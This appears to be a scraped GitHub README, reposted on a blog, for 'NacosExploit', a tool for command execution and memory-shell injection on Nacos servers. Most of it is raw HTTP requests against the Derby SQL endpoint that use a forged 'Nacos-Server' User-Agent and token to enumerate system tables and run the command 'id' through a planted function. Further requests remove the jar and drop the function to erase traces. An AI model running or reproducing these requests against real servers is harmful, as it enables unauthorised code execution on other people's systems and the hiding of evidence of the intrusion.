NacosExploit 命令执行 内存马等利用
- 部署函数id问题 没办法 存一下吧✅ (被部署太多不容易打,可参考6)
- 本地加载 ✅
- 关闭时要结束进程✅
- 内存马太大 怎么办 ?
命令写内存jar? 精简 ? ❎ 换蚁剑✅ - 判断系统 人工选择路径✅
- 擦屁股/爆菊
查询存在的函数 S_EXAMPLE_xxxx 基本上用公开的poc都没改过包括本工具GET /nacos/v1/cs/ops/derby?sql=select%20%2A%20from%20%28SELECT%20%2A%20FROM%20SYS.SYSALIASES%20WHERE%20ALIASTYPE%20%3D%20%27F%27%29%20tmp%20%2F%2AROWS%20FETCH%20NEXT%2A%2F HTTP/1.1 Host: 172.16.0.95:8848 Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2 Connection: close
GET /nacos/v1/cs/ops/derby?sql=select%20%2A%20from%20%28SELECT%20%2A%20FROM%20SYS.SYSFILES%29%20tmp%20%2F%2AROWS%20FETCH%20NEXT%2A%2F HTTP/1.1
User-Agent: Nacos-Server
accessToken: 111
Host: 172.16.0.95:8848
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: close
利用
GET /nacos/v1/cs/ops/derby?sql=select+*+from+%28select+count%28*%29+as+b%2C+S_EXAMPLE_AGIAJSOK%28%27id%27%29+as+a+from+config_info%29+tmp+%2F*ROWS+FETCH+NEXT*%2F HTTP/1.1
Host: 172.16.0.95:8848
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Connection: close
POST /nacos/v1/cs/ops/data/removal HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarymeBFzDXo
User-Agent: Nacos-Server
accessToken: 111
Host: 172.16.0.95:8848
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-Length: 204
Connection: close
------WebKitFormBoundarymeBFzDXo
Content-Disposition: form-data; name="file"; filename="file"
Content-Type: text/plain
CALL sqlj.remove_jar('NACOS.AGIAJSOK', 0)
------WebKitFormBoundarymeBFzDXo--
POST /nacos/v1/cs/ops/data/removal HTTP/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarymeBFzDXo
User-Agent: Nacos-Server
accessToken: 111
Host: 172.16.0.95:8848
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-Length: 195
Connection: close
------WebKitFormBoundarymeBFzDXo
Content-Disposition: form-data; name="file"; filename="file"
Content-Type: text/plain
DROP FUNCTION S_EXAMPLE_AGIAJSOK
------WebKitFormBoundarymeBFzDXo--
......
About
NacosExploit 命令执行 内存马等利用
Resources
Stars
Watchers
Forks
Releases 1
Packages
No packages published
Languages
Footer
Footer navigation
温馨提示:本文最后更新于2024年7月17日 20:53,若内容或图片失效,请在下方留言或联系博主。